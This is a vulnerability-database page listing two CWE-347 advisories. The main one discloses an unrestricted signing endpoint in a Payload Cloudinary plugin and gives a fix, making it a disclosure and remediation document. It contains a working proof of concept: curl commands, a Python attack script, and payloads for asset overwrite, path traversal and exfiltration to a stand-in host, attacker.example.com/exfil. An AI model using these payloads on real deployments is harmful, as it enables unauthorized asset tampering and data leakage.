CWE-347
AllowedImproper Verification of Cryptographic Signature
Abstraction: Base · Status: Draft
The product does not verify, or incorrectly verifies, the cryptographic signature for data.
1265 vulnerabilities reference this CWE, most recent first.
GHSA-H5WC-FG2J-Q78W
Vulnerability from github – Published: 2022-05-17 02:35 – Updated: 2022-05-17 02:35Signature Wrapping exists in OSCI-Transport 1.2 as used in OSCI Transport Library 1.6.1 (Java) and OSCI Transport Library 1.6 (.NET). An attacker with access to unencrypted OSCI protocol messages must send crafted protocol messages with duplicate IDs.
{
"affected": [],
"aliases": [
"CVE-2017-10669"
],
"database_specific": {
"cwe_ids": [
"CWE-347"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2017-06-30T12:29:00Z",
"severity": "MODERATE"
},
"details": "Signature Wrapping exists in OSCI-Transport 1.2 as used in OSCI Transport Library 1.6.1 (Java) and OSCI Transport Library 1.6 (.NET). An attacker with access to unencrypted OSCI protocol messages must send crafted protocol messages with duplicate IDs.",
"id": "GHSA-h5wc-fg2j-q78w",
"modified": "2022-05-17T02:35:51Z",
"published": "2022-05-17T02:35:51Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-10669"
},
{
"type": "WEB",
"url": "http://blog.sec-consult.com/2017/06/german-e-government-details-vulnerabilities.html"
},
{
"type": "WEB",
"url": "http://seclists.org/fulldisclosure/2017/Jun/44"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-H5X8-XP6M-X6Q4
Vulnerability from github – Published: 2026-06-19 22:10 – Updated: 2026-06-19 22:10Arbitrary Cloudinary API Parameter Signing in @jhb.software/payload-cloudinary-plugin
Summary
@jhb.software/payload-cloudinary-plugin v0.3.4 exposes a server-side signing endpoint (POST /api/cloudinary-generate-signature) that passes attacker-supplied paramsToSign directly to cloudinary.utils.api_sign_request() without any allowlist, key filtering, or policy enforcement. Any authenticated Payload user can obtain a cryptographically valid Cloudinary HMAC-SHA1 signature for arbitrary upload parameters — including overwrite=true, type=private, notification_url, and path-traversal folder values — enabling unauthorized asset replacement, access-control bypass, and potential SSRF within the configured Cloudinary account.
Details
When clientUploads: true is configured, the plugin registers a signing handler at cloudinary/src/index.ts:74-79. The handler is implemented in cloudinary/src/getGenerateSignature.ts.
Vulnerable code path (step by step):
cloudinary/src/index.ts:58—initClientUploadsregisters the server upload handler.cloudinary/src/index.ts:68— The Cloudinary API key is exposed to client handler props by design.cloudinary/src/index.ts:74-79— The signing endpoint is mounted at/cloudinary-generate-signature.cloudinary/src/getGenerateSignature.ts:18— The default access control checks only!!req.user, permitting any authenticated user.cloudinary/src/getGenerateSignature.ts:46— The entire request body is parsed:const body = await req.json?.().cloudinary/src/getGenerateSignature.ts:55— Vulnerable sink: attacker-controlledbody.paramsToSignis forwarded verbatim to the signing function.
// cloudinary/src/getGenerateSignature.ts:46-55
const body = await req.json?.()
if (!body?.paramsToSign) {
return new Response(JSON.stringify({ error: 'No paramsToSign provided' }), ...)
}
// No allowlist, no key filtering, no folder/public_id/overwrite enforcement
const signature = cloudinary.utils.api_sign_request(body.paramsToSign, apiSecret)
There are no mitigations in place:
- No parameter key allowlist (attacker can include overwrite, type, notification_url, invalidate, etc.)
- No folder/public_id policy enforcement (the plugin's folder option from index.ts is never passed to getGenerateSignature)
- No timestamp freshness check
- No restriction on path traversal sequences in folder or public_id
Dynamic reproduction (Phase 2) confirmed all five attack scenarios with HTTP 200 and mathematically verified HMAC-SHA1 signatures:
| Case | paramsToSign | Impact |
|---|---|---|
| CASE-2 | folder=attacker-controlled, overwrite=true |
Overwrite any existing asset |
| CASE-3 | type=private, public_id=admin-document |
Change asset visibility / bypass access control |
| CASE-4 | notification_url=http://attacker.example.com/exfil |
SSRF / data exfiltration via Cloudinary webhook |
| CASE-5 | folder=../../../../admin-assets, invalidate=true |
Path traversal + CDN cache invalidation |
Python-independent signature recalculation matched server responses in all 5/5 cases, proving the server computes a genuine HMAC-SHA1 over attacker-controlled input.
PoC
Prerequisites:
- @jhb.software/payload-cloudinary-plugin@0.3.4 deployed with clientUploads: true
- An authenticated Payload session (any privilege level)
- Knowledge of CLOUDINARY_CLOUD_NAME and the client-exposed API key (exposed by design at index.ts:68)
Step 1 — Obtain a signature for arbitrary parameters (bash):
TS=$(date +%s)
SIG=$(curl -s \
-H "Authorization: Bearer <LOW_PRIV_TOKEN>" \
-H "Content-Type: application/json" \
-X POST "http://localhost:3000/api/cloudinary-generate-signature?collectionSlug=media" \
--data "{\"paramsToSign\":{\"timestamp\":\"$TS\",\"folder\":\"attacker\",\"public_id\":\"overwrite-target\",\"overwrite\":\"true\"}}" \
| jq -r .signature)
echo "Obtained signature: $SIG"
Step 2 — Use the minted signature to upload directly to Cloudinary:
curl -s -X POST "https://api.cloudinary.com/v1_1/$CLOUDINARY_CLOUD_NAME/auto/upload" \
-F "file=@poc.txt" \
-F "api_key=$CLOUDINARY_API_KEY" \
-F "timestamp=$TS" \
-F "folder=attacker" \
-F "public_id=overwrite-target" \
-F "overwrite=true" \
-F "signature=$SIG"
Expected result: Cloudinary returns a successful upload JSON for attacker/overwrite-target — an asset path the plugin never intended to authorize.
Automated PoC (Python):
# Build and run the reproduction container
docker build -t vuln-002-cloudinary .
docker run -d --name vuln-002 -p 3000:3000 vuln-002-cloudinary
# Run all five attack scenarios
python3 poc.py --server http://127.0.0.1:3000
The script (poc.py) posts five distinct paramsToSign payloads and independently verifies each returned signature using hashlib.sha1. All five cases return HTTP 200 with a mathematically valid signature, confirming the vulnerability.
Sample output (Phase 2 evidence):
[SIGN] paramsToSign={"timestamp":"...","folder":"attacker-controlled","public_id":"overwrite-target","overwrite":"true"}
=> abc45ef5f0807bdef153074d2be3e713ea867168 (HTTP 200)
[SIGN] paramsToSign={"timestamp":"...","type":"private","public_id":"admin-document"}
=> 0d8102a5ff48953832b76a1f21d1c513af5940e1 (HTTP 200)
[SIGN] paramsToSign={"timestamp":"...","folder":"media","notification_url":"http://attacker.example.com/exfil"}
=> 72d954c67bd4a38d6a3931c64511f84143d24685 (HTTP 200)
[SIGN] paramsToSign={"timestamp":"...","folder":"../../../../admin-assets","public_id":"../../../sensitive","invalidate":"true"}
=> d44984e7af8fca306e59e00810c2623d8963e011 (HTTP 200)
Results: 5/5 cases confirmed — HTTP 200 + mathematically valid HMAC-SHA1 on every attacker-controlled paramsToSign
Recommended fix:
--- a/cloudinary/src/getGenerateSignature.ts
+++ b/cloudinary/src/getGenerateSignature.ts
@@ type Args = {
apiSecret: string
+ folder?: string
}
@@ export const getGenerateSignature =
- ({ access = defaultAccess, apiSecret }: Args): PayloadHandler =>
+ ({ access = defaultAccess, apiSecret, folder }: Args): PayloadHandler =>
@@
- const signature = cloudinary.utils.api_sign_request(body.paramsToSign, apiSecret)
+ const paramsToSign = body.paramsToSign as Record<string, unknown>
+ const allowedKeys = new Set(['timestamp', 'folder', 'public_id'])
+ if (
+ !paramsToSign ||
+ Object.keys(paramsToSign).some((key) => !allowedKeys.has(key)) ||
+ typeof paramsToSign.timestamp !== 'string'
+ ) {
+ throw new Forbidden()
+ }
+ if (folder && paramsToSign.folder !== folder.replace(/^\/|\/$/g, '')) {
+ throw new Forbidden()
+ }
+ if (
+ typeof paramsToSign.public_id === 'string' &&
+ (paramsToSign.public_id.includes('..') || paramsToSign.public_id.startsWith('/'))
+ ) {
+ throw new Forbidden()
+ }
+ const signature = cloudinary.utils.api_sign_request(paramsToSign, apiSecret)
Impact
This is an Improper Verification of Cryptographic Signature vulnerability (CWE-347). The signing endpoint is intended to authorize legitimate client-side uploads, but because paramsToSign is never validated, it acts as an unrestricted signature oracle for any authenticated user.
Who is impacted: All deployments of @jhb.software/payload-cloudinary-plugin that set clientUploads: true. This is a non-default but officially recommended production configuration for Vercel deployments (documented in the plugin README).
Concrete attack outcomes:
- Asset overwrite (
overwrite=true): attacker replaces any existing media asset in the Cloudinary account, enabling content tampering or defacement. - Access-control bypass (
type=private): attacker changes the delivery type of uploaded assets, potentially exposing or hiding content beyond what the application intends. - SSRF / data exfiltration (
notification_url): Cloudinary issues an HTTP callback to the attacker-controlled URL upon upload completion, leaking upload metadata and enabling server-side request forgery. - Path traversal (
folder=../../../../...,invalidate=true): attacker writes to or invalidates assets in arbitrary Cloudinary folders, including administrative paths outside the configured upload directory.
The Cloudinary API key is exposed to the client by the plugin itself (index.ts:68), so an attacker already holds three of the four required upload components (cloud name, API key, timestamp). The signing endpoint provides the missing fourth (signature), completing the attack chain with a single authenticated request.
Reproduction artifacts
Dockerfile
FROM node:22-alpine
LABEL description="VULN-002 reproduction: arbitrary Cloudinary API parameter signing" \
vuln="getGenerateSignature.ts:55 - body.paramsToSign signed without allowlist" \
package="@jhb.software/payload-cloudinary-plugin@0.3.4"
WORKDIR /app
# Install exactly the cloudinary version declared in the plugin's package.json
RUN echo '{"name":"vuln-002-server","version":"1.0.0","private":true}' > package.json && \
npm install cloudinary@2.10.0 --save --no-audit --no-fund
COPY server.js .
EXPOSE 3000
# Start the minimal reproduction server
CMD ["node", "server.js"]
poc.py
#!/usr/bin/env python3
"""
PoC for VULN-002: Arbitrary Cloudinary API Parameter Signing
Package : @jhb.software/payload-cloudinary-plugin v0.3.4
File : cloudinary/src/getGenerateSignature.ts:55
CWE : CWE-347 — Improper Verification of Cryptographic Signature
CVSS : 7.1 (High) AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L
Vulnerable sink (exact line from source):
const signature = cloudinary.utils.api_sign_request(body.paramsToSign, apiSecret)
body.paramsToSign is passed directly with no allowlist, no key filtering, and no
folder/public_id/overwrite enforcement. Any authenticated user can obtain a valid
Cloudinary HMAC-SHA1 signature for arbitrary upload parameters.
Usage:
python3 poc.py [--server http://127.0.0.1:3000]
"""
import argparse
import hashlib
import json
import sys
import time
import urllib.error
import urllib.request
# Must match API_SECRET in server.js
API_SECRET = "poc-fake-api-secret-12345"
# Simulates a low-privilege authenticated user session
AUTH_HEADER = "Bearer low-privilege-user-token"
GREEN = "\033[32m"
RED = "\033[31m"
YELLOW = "\033[33m"
RESET = "\033[0m"
# ---------------------------------------------------------------------------
# Cloudinary signature algorithm — Python re-implementation of
# cloudinary.utils.api_sign_request(params, api_secret)
# Algorithm: SHA-1( sorted_k=v_pairs + api_secret )
# ---------------------------------------------------------------------------
def cloudinary_sign(params: dict, api_secret: str) -> str:
"""Return the expected Cloudinary HMAC-SHA1 signature for params."""
filtered = {k: v for k, v in params.items() if v not in (None, "")}
sorted_pairs = sorted(filtered.items())
param_str = "&".join(f"{k}={v}" for k, v in sorted_pairs)
to_sign = param_str + api_secret
return hashlib.sha1(to_sign.encode("utf-8")).hexdigest()
# ---------------------------------------------------------------------------
# HTTP helpers
# ---------------------------------------------------------------------------
def post_sign(server: str, params: dict) -> tuple[int, dict]:
"""
POST {"paramsToSign": params} to the signing endpoint.
Returns (http_status, response_dict).
Raises urllib.error.HTTPError for 4xx/5xx.
"""
body = json.dumps({"paramsToSign": params}).encode("utf-8")
req = urllib.request.Request(
f"{server}/api/cloudinary-generate-signature?collectionSlug=media",
data=body,
headers={
"Content-Type": "application/json",
"Authorization": AUTH_HEADER,
},
method="POST",
)
with urllib.request.urlopen(req, timeout=10) as resp:
return resp.status, json.loads(resp.read())
# ---------------------------------------------------------------------------
# Test runner
# ---------------------------------------------------------------------------
def run_case(server: str, label: str, params: dict) -> bool:
"""
Execute one signing test case and verify:
1. HTTP 200 is returned (endpoint did NOT reject the params).
2. The returned signature is mathematically correct.
Returns True if both conditions hold (vulnerability confirmed for this case).
"""
print(f"\n [{label}]")
print(f" paramsToSign : {json.dumps(params)}")
try:
status, data = post_sign(server, params)
except urllib.error.HTTPError as exc:
body = exc.read().decode(errors="replace")
print(f" HTTP {exc.code} — request rejected: {body}")
print(f" {RED}UNEXPECTED REJECTION{RESET} — allowlist may be present for this case")
return False
except Exception as exc:
print(f" Connection error: {exc}")
return False
sig_returned = data.get("signature", "")
sig_expected = cloudinary_sign(params, API_SECRET)
sig_match = sig_returned == sig_expected
print(f" HTTP status : {status}")
print(f" Signature : {sig_returned}")
print(f" Expected sig : {sig_expected}")
print(f" Sig valid : {'YES — mathematically correct HMAC-SHA1' if sig_match else 'NO — mismatch'}")
if status == 200 and sig_match:
print(f" {GREEN}CONFIRMED{RESET} — endpoint signed arbitrary params without rejection")
return True
else:
print(f" {RED}UNEXPECTED{RESET} — status={status}, sig_match={sig_match}")
return False
# ---------------------------------------------------------------------------
# Main
# ---------------------------------------------------------------------------
def main():
parser = argparse.ArgumentParser(description="VULN-002 PoC")
parser.add_argument("--server", default="http://127.0.0.1:3000", help="Target server URL")
args = parser.parse_args()
server = args.server.rstrip("/")
ts = str(int(time.time()))
print("=" * 70)
print("VULN-002 PoC — Arbitrary Cloudinary API Parameter Signing")
print(f"Target : {server}")
print(f"Vuln : getGenerateSignature.ts:55 — no paramsToSign allowlist")
print(f"Auth : {AUTH_HEADER!r} (low-privilege user simulation)")
print("=" * 70)
# ------------------------------------------------------------------
# Attack scenarios
# ------------------------------------------------------------------
# Each case passes paramsToSign that the plugin should REJECT but does NOT.
# A correctly patched implementation would return 4xx for cases 2-5.
# ------------------------------------------------------------------
cases = [
(
"CASE-1: Legitimate params (baseline — should always succeed)",
{"timestamp": ts, "folder": "media", "public_id": "user-upload"},
),
(
"CASE-2: Attacker-controlled folder + overwrite=true",
{
"timestamp": ts,
"folder": "attacker-controlled",
"public_id": "overwrite-target",
"overwrite": "true",
},
),
(
"CASE-3: type=private — changes upload visibility",
{
"timestamp": ts,
"type": "private",
"public_id": "admin-document",
},
),
(
"CASE-4: notification_url — potential SSRF / data exfiltration",
{
"timestamp": ts,
"folder": "media",
"notification_url": "http://attacker.example.com/exfil",
},
),
(
"CASE-5: folder path traversal + invalidate=true",
{
"timestamp": ts,
"folder": "../../../../admin-assets",
"public_id": "../../../sensitive",
"invalidate": "true",
},
),
]
results = []
for label, params in cases:
results.append(run_case(server, label, params))
passed = sum(results)
total = len(results)
print("\n" + "=" * 70)
print(f"Results : {passed}/{total} cases confirmed")
# Cases 1-5 all passing means the vulnerability is proven:
# the endpoint signs ANY paramsToSign regardless of content.
if all(results):
print(f"\n{GREEN}VERDICT: PASS — VULN-002 CONFIRMED{RESET}")
print(
"All 5 attack scenarios returned HTTP 200 with a mathematically valid"
" Cloudinary HMAC-SHA1 signature."
)
print(
"The plugin endpoint signs arbitrary upload parameters without any"
" allowlist, folder enforcement, or overwrite/type restriction."
)
print(
"Impact: any authenticated Payload user can mint valid Cloudinary"
" signatures for arbitrary parameters, enabling asset replacement,"
" privacy changes, and potential SSRF via notification_url."
)
sys.exit(0)
elif results[0]:
failed = [cases[i][0] for i, r in enumerate(results) if not r]
print(f"\n{YELLOW}VERDICT: PARTIAL — baseline succeeded but some cases failed{RESET}")
print(f"Failed cases: {failed}")
sys.exit(2)
else:
print(f"\n{RED}VERDICT: FAIL — server not reachable or baseline request failed{RESET}")
sys.exit(1)
if __name__ == "__main__":
main()
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "@jhb.software/payload-cloudinary-plugin"
},
"ranges": [
{
"events": [
{
"introduced": "0.3.0"
},
{
"fixed": "0.4.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-347"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-19T22:10:37Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Arbitrary Cloudinary API Parameter Signing in @jhb.software/payload-cloudinary-plugin\n\n### Summary\n\n`@jhb.software/payload-cloudinary-plugin` v0.3.4 exposes a server-side signing endpoint (`POST /api/cloudinary-generate-signature`) that passes attacker-supplied `paramsToSign` directly to `cloudinary.utils.api_sign_request()` without any allowlist, key filtering, or policy enforcement. Any authenticated Payload user can obtain a cryptographically valid Cloudinary HMAC-SHA1 signature for arbitrary upload parameters \u2014 including `overwrite=true`, `type=private`, `notification_url`, and path-traversal folder values \u2014 enabling unauthorized asset replacement, access-control bypass, and potential SSRF within the configured Cloudinary account.\n\n### Details\n\nWhen `clientUploads: true` is configured, the plugin registers a signing handler at `cloudinary/src/index.ts:74-79`. The handler is implemented in `cloudinary/src/getGenerateSignature.ts`.\n\n**Vulnerable code path (step by step):**\n\n1. `cloudinary/src/index.ts:58` \u2014 `initClientUploads` registers the server upload handler.\n2. `cloudinary/src/index.ts:68` \u2014 The Cloudinary API key is exposed to client handler props by design.\n3. `cloudinary/src/index.ts:74-79` \u2014 The signing endpoint is mounted at `/cloudinary-generate-signature`.\n4. `cloudinary/src/getGenerateSignature.ts:18` \u2014 The default access control checks only `!!req.user`, permitting any authenticated user.\n5. `cloudinary/src/getGenerateSignature.ts:46` \u2014 The entire request body is parsed: `const body = await req.json?.()`.\n6. `cloudinary/src/getGenerateSignature.ts:55` \u2014 **Vulnerable sink**: attacker-controlled `body.paramsToSign` is forwarded verbatim to the signing function.\n\n```ts\n// cloudinary/src/getGenerateSignature.ts:46-55\nconst body = await req.json?.()\n\nif (!body?.paramsToSign) {\n return new Response(JSON.stringify({ error: \u0027No paramsToSign provided\u0027 }), ...)\n}\n\n// No allowlist, no key filtering, no folder/public_id/overwrite enforcement\nconst signature = cloudinary.utils.api_sign_request(body.paramsToSign, apiSecret)\n```\n\nThere are **no** mitigations in place:\n- No parameter key allowlist (attacker can include `overwrite`, `type`, `notification_url`, `invalidate`, etc.)\n- No folder/public_id policy enforcement (the plugin\u0027s `folder` option from `index.ts` is never passed to `getGenerateSignature`)\n- No timestamp freshness check\n- No restriction on path traversal sequences in `folder` or `public_id`\n\nDynamic reproduction (Phase 2) confirmed all five attack scenarios with HTTP 200 and mathematically verified HMAC-SHA1 signatures:\n\n| Case | paramsToSign | Impact |\n|------|-------------|--------|\n| CASE-2 | `folder=attacker-controlled, overwrite=true` | Overwrite any existing asset |\n| CASE-3 | `type=private, public_id=admin-document` | Change asset visibility / bypass access control |\n| CASE-4 | `notification_url=http://attacker.example.com/exfil` | SSRF / data exfiltration via Cloudinary webhook |\n| CASE-5 | `folder=../../../../admin-assets, invalidate=true` | Path traversal + CDN cache invalidation |\n\nPython-independent signature recalculation matched server responses in all 5/5 cases, proving the server computes a genuine HMAC-SHA1 over attacker-controlled input.\n\n### PoC\n\n**Prerequisites:**\n- `@jhb.software/payload-cloudinary-plugin@0.3.4` deployed with `clientUploads: true`\n- An authenticated Payload session (any privilege level)\n- Knowledge of `CLOUDINARY_CLOUD_NAME` and the client-exposed API key (exposed by design at `index.ts:68`)\n\n**Step 1 \u2014 Obtain a signature for arbitrary parameters (bash):**\n\n```bash\nTS=$(date +%s)\n\nSIG=$(curl -s \\\n -H \"Authorization: Bearer \u003cLOW_PRIV_TOKEN\u003e\" \\\n -H \"Content-Type: application/json\" \\\n -X POST \"http://localhost:3000/api/cloudinary-generate-signature?collectionSlug=media\" \\\n --data \"{\\\"paramsToSign\\\":{\\\"timestamp\\\":\\\"$TS\\\",\\\"folder\\\":\\\"attacker\\\",\\\"public_id\\\":\\\"overwrite-target\\\",\\\"overwrite\\\":\\\"true\\\"}}\" \\\n | jq -r .signature)\n\necho \"Obtained signature: $SIG\"\n```\n\n**Step 2 \u2014 Use the minted signature to upload directly to Cloudinary:**\n\n```bash\ncurl -s -X POST \"https://api.cloudinary.com/v1_1/$CLOUDINARY_CLOUD_NAME/auto/upload\" \\\n -F \"file=@poc.txt\" \\\n -F \"api_key=$CLOUDINARY_API_KEY\" \\\n -F \"timestamp=$TS\" \\\n -F \"folder=attacker\" \\\n -F \"public_id=overwrite-target\" \\\n -F \"overwrite=true\" \\\n -F \"signature=$SIG\"\n```\n\n**Expected result:** Cloudinary returns a successful upload JSON for `attacker/overwrite-target` \u2014 an asset path the plugin never intended to authorize.\n\n**Automated PoC (Python):**\n\n```bash\n# Build and run the reproduction container\ndocker build -t vuln-002-cloudinary .\ndocker run -d --name vuln-002 -p 3000:3000 vuln-002-cloudinary\n\n# Run all five attack scenarios\npython3 poc.py --server http://127.0.0.1:3000\n```\n\nThe script (`poc.py`) posts five distinct `paramsToSign` payloads and independently verifies each returned signature using `hashlib.sha1`. All five cases return HTTP 200 with a mathematically valid signature, confirming the vulnerability.\n\n**Sample output (Phase 2 evidence):**\n\n```\n[SIGN] paramsToSign={\"timestamp\":\"...\",\"folder\":\"attacker-controlled\",\"public_id\":\"overwrite-target\",\"overwrite\":\"true\"}\n =\u003e abc45ef5f0807bdef153074d2be3e713ea867168 (HTTP 200)\n\n[SIGN] paramsToSign={\"timestamp\":\"...\",\"type\":\"private\",\"public_id\":\"admin-document\"}\n =\u003e 0d8102a5ff48953832b76a1f21d1c513af5940e1 (HTTP 200)\n\n[SIGN] paramsToSign={\"timestamp\":\"...\",\"folder\":\"media\",\"notification_url\":\"http://attacker.example.com/exfil\"}\n =\u003e 72d954c67bd4a38d6a3931c64511f84143d24685 (HTTP 200)\n\n[SIGN] paramsToSign={\"timestamp\":\"...\",\"folder\":\"../../../../admin-assets\",\"public_id\":\"../../../sensitive\",\"invalidate\":\"true\"}\n =\u003e d44984e7af8fca306e59e00810c2623d8963e011 (HTTP 200)\n\nResults: 5/5 cases confirmed \u2014 HTTP 200 + mathematically valid HMAC-SHA1 on every attacker-controlled paramsToSign\n```\n\n**Recommended fix:**\n\n```diff\n--- a/cloudinary/src/getGenerateSignature.ts\n+++ b/cloudinary/src/getGenerateSignature.ts\n@@ type Args = {\n apiSecret: string\n+ folder?: string\n }\n@@ export const getGenerateSignature =\n- ({ access = defaultAccess, apiSecret }: Args): PayloadHandler =\u003e\n+ ({ access = defaultAccess, apiSecret, folder }: Args): PayloadHandler =\u003e\n@@\n- const signature = cloudinary.utils.api_sign_request(body.paramsToSign, apiSecret)\n+ const paramsToSign = body.paramsToSign as Record\u003cstring, unknown\u003e\n+ const allowedKeys = new Set([\u0027timestamp\u0027, \u0027folder\u0027, \u0027public_id\u0027])\n+ if (\n+ !paramsToSign ||\n+ Object.keys(paramsToSign).some((key) =\u003e !allowedKeys.has(key)) ||\n+ typeof paramsToSign.timestamp !== \u0027string\u0027\n+ ) {\n+ throw new Forbidden()\n+ }\n+ if (folder \u0026\u0026 paramsToSign.folder !== folder.replace(/^\\/|\\/$/g, \u0027\u0027)) {\n+ throw new Forbidden()\n+ }\n+ if (\n+ typeof paramsToSign.public_id === \u0027string\u0027 \u0026\u0026\n+ (paramsToSign.public_id.includes(\u0027..\u0027) || paramsToSign.public_id.startsWith(\u0027/\u0027))\n+ ) {\n+ throw new Forbidden()\n+ }\n+ const signature = cloudinary.utils.api_sign_request(paramsToSign, apiSecret)\n```\n\n### Impact\n\nThis is an **Improper Verification of Cryptographic Signature** vulnerability (CWE-347). The signing endpoint is intended to authorize legitimate client-side uploads, but because `paramsToSign` is never validated, it acts as an unrestricted signature oracle for any authenticated user.\n\n**Who is impacted:** All deployments of `@jhb.software/payload-cloudinary-plugin` that set `clientUploads: true`. This is a non-default but officially recommended production configuration for Vercel deployments (documented in the plugin README).\n\n**Concrete attack outcomes:**\n\n- **Asset overwrite** (`overwrite=true`): attacker replaces any existing media asset in the Cloudinary account, enabling content tampering or defacement.\n- **Access-control bypass** (`type=private`): attacker changes the delivery type of uploaded assets, potentially exposing or hiding content beyond what the application intends.\n- **SSRF / data exfiltration** (`notification_url`): Cloudinary issues an HTTP callback to the attacker-controlled URL upon upload completion, leaking upload metadata and enabling server-side request forgery.\n- **Path traversal** (`folder=../../../../...`, `invalidate=true`): attacker writes to or invalidates assets in arbitrary Cloudinary folders, including administrative paths outside the configured upload directory.\n\nThe Cloudinary API key is exposed to the client by the plugin itself (`index.ts:68`), so an attacker already holds three of the four required upload components (cloud name, API key, timestamp). The signing endpoint provides the missing fourth (signature), completing the attack chain with a single authenticated request.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\nFROM node:22-alpine\n\nLABEL description=\"VULN-002 reproduction: arbitrary Cloudinary API parameter signing\" \\\n vuln=\"getGenerateSignature.ts:55 - body.paramsToSign signed without allowlist\" \\\n package=\"@jhb.software/payload-cloudinary-plugin@0.3.4\"\n\nWORKDIR /app\n\n# Install exactly the cloudinary version declared in the plugin\u0027s package.json\nRUN echo \u0027{\"name\":\"vuln-002-server\",\"version\":\"1.0.0\",\"private\":true}\u0027 \u003e package.json \u0026\u0026 \\\n npm install cloudinary@2.10.0 --save --no-audit --no-fund\n\nCOPY server.js .\n\nEXPOSE 3000\n\n# Start the minimal reproduction server\nCMD [\"node\", \"server.js\"]\n```\n\n#### `poc.py`\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nPoC for VULN-002: Arbitrary Cloudinary API Parameter Signing\nPackage : @jhb.software/payload-cloudinary-plugin v0.3.4\nFile : cloudinary/src/getGenerateSignature.ts:55\nCWE : CWE-347 \u2014 Improper Verification of Cryptographic Signature\nCVSS : 7.1 (High) AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L\n\nVulnerable sink (exact line from source):\n const signature = cloudinary.utils.api_sign_request(body.paramsToSign, apiSecret)\n\nbody.paramsToSign is passed directly with no allowlist, no key filtering, and no\nfolder/public_id/overwrite enforcement. Any authenticated user can obtain a valid\nCloudinary HMAC-SHA1 signature for arbitrary upload parameters.\n\nUsage:\n python3 poc.py [--server http://127.0.0.1:3000]\n\"\"\"\n\nimport argparse\nimport hashlib\nimport json\nimport sys\nimport time\nimport urllib.error\nimport urllib.request\n\n# Must match API_SECRET in server.js\nAPI_SECRET = \"poc-fake-api-secret-12345\"\n\n# Simulates a low-privilege authenticated user session\nAUTH_HEADER = \"Bearer low-privilege-user-token\"\n\nGREEN = \"\\033[32m\"\nRED = \"\\033[31m\"\nYELLOW = \"\\033[33m\"\nRESET = \"\\033[0m\"\n\n\n# ---------------------------------------------------------------------------\n# Cloudinary signature algorithm \u2014 Python re-implementation of\n# cloudinary.utils.api_sign_request(params, api_secret)\n# Algorithm: SHA-1( sorted_k=v_pairs + api_secret )\n# ---------------------------------------------------------------------------\ndef cloudinary_sign(params: dict, api_secret: str) -\u003e str:\n \"\"\"Return the expected Cloudinary HMAC-SHA1 signature for params.\"\"\"\n filtered = {k: v for k, v in params.items() if v not in (None, \"\")}\n sorted_pairs = sorted(filtered.items())\n param_str = \"\u0026\".join(f\"{k}={v}\" for k, v in sorted_pairs)\n to_sign = param_str + api_secret\n return hashlib.sha1(to_sign.encode(\"utf-8\")).hexdigest()\n\n\n# ---------------------------------------------------------------------------\n# HTTP helpers\n# ---------------------------------------------------------------------------\ndef post_sign(server: str, params: dict) -\u003e tuple[int, dict]:\n \"\"\"\n POST {\"paramsToSign\": params} to the signing endpoint.\n Returns (http_status, response_dict).\n Raises urllib.error.HTTPError for 4xx/5xx.\n \"\"\"\n body = json.dumps({\"paramsToSign\": params}).encode(\"utf-8\")\n req = urllib.request.Request(\n f\"{server}/api/cloudinary-generate-signature?collectionSlug=media\",\n data=body,\n headers={\n \"Content-Type\": \"application/json\",\n \"Authorization\": AUTH_HEADER,\n },\n method=\"POST\",\n )\n with urllib.request.urlopen(req, timeout=10) as resp:\n return resp.status, json.loads(resp.read())\n\n\n# ---------------------------------------------------------------------------\n# Test runner\n# ---------------------------------------------------------------------------\ndef run_case(server: str, label: str, params: dict) -\u003e bool:\n \"\"\"\n Execute one signing test case and verify:\n 1. HTTP 200 is returned (endpoint did NOT reject the params).\n 2. The returned signature is mathematically correct.\n Returns True if both conditions hold (vulnerability confirmed for this case).\n \"\"\"\n print(f\"\\n [{label}]\")\n print(f\" paramsToSign : {json.dumps(params)}\")\n\n try:\n status, data = post_sign(server, params)\n except urllib.error.HTTPError as exc:\n body = exc.read().decode(errors=\"replace\")\n print(f\" HTTP {exc.code} \u2014 request rejected: {body}\")\n print(f\" {RED}UNEXPECTED REJECTION{RESET} \u2014 allowlist may be present for this case\")\n return False\n except Exception as exc:\n print(f\" Connection error: {exc}\")\n return False\n\n sig_returned = data.get(\"signature\", \"\")\n sig_expected = cloudinary_sign(params, API_SECRET)\n sig_match = sig_returned == sig_expected\n\n print(f\" HTTP status : {status}\")\n print(f\" Signature : {sig_returned}\")\n print(f\" Expected sig : {sig_expected}\")\n print(f\" Sig valid : {\u0027YES \u2014 mathematically correct HMAC-SHA1\u0027 if sig_match else \u0027NO \u2014 mismatch\u0027}\")\n\n if status == 200 and sig_match:\n print(f\" {GREEN}CONFIRMED{RESET} \u2014 endpoint signed arbitrary params without rejection\")\n return True\n else:\n print(f\" {RED}UNEXPECTED{RESET} \u2014 status={status}, sig_match={sig_match}\")\n return False\n\n\n# ---------------------------------------------------------------------------\n# Main\n# ---------------------------------------------------------------------------\ndef main():\n parser = argparse.ArgumentParser(description=\"VULN-002 PoC\")\n parser.add_argument(\"--server\", default=\"http://127.0.0.1:3000\", help=\"Target server URL\")\n args = parser.parse_args()\n server = args.server.rstrip(\"/\")\n\n ts = str(int(time.time()))\n\n print(\"=\" * 70)\n print(\"VULN-002 PoC \u2014 Arbitrary Cloudinary API Parameter Signing\")\n print(f\"Target : {server}\")\n print(f\"Vuln : getGenerateSignature.ts:55 \u2014 no paramsToSign allowlist\")\n print(f\"Auth : {AUTH_HEADER!r} (low-privilege user simulation)\")\n print(\"=\" * 70)\n\n # ------------------------------------------------------------------\n # Attack scenarios\n # ------------------------------------------------------------------\n # Each case passes paramsToSign that the plugin should REJECT but does NOT.\n # A correctly patched implementation would return 4xx for cases 2-5.\n # ------------------------------------------------------------------\n cases = [\n (\n \"CASE-1: Legitimate params (baseline \u2014 should always succeed)\",\n {\"timestamp\": ts, \"folder\": \"media\", \"public_id\": 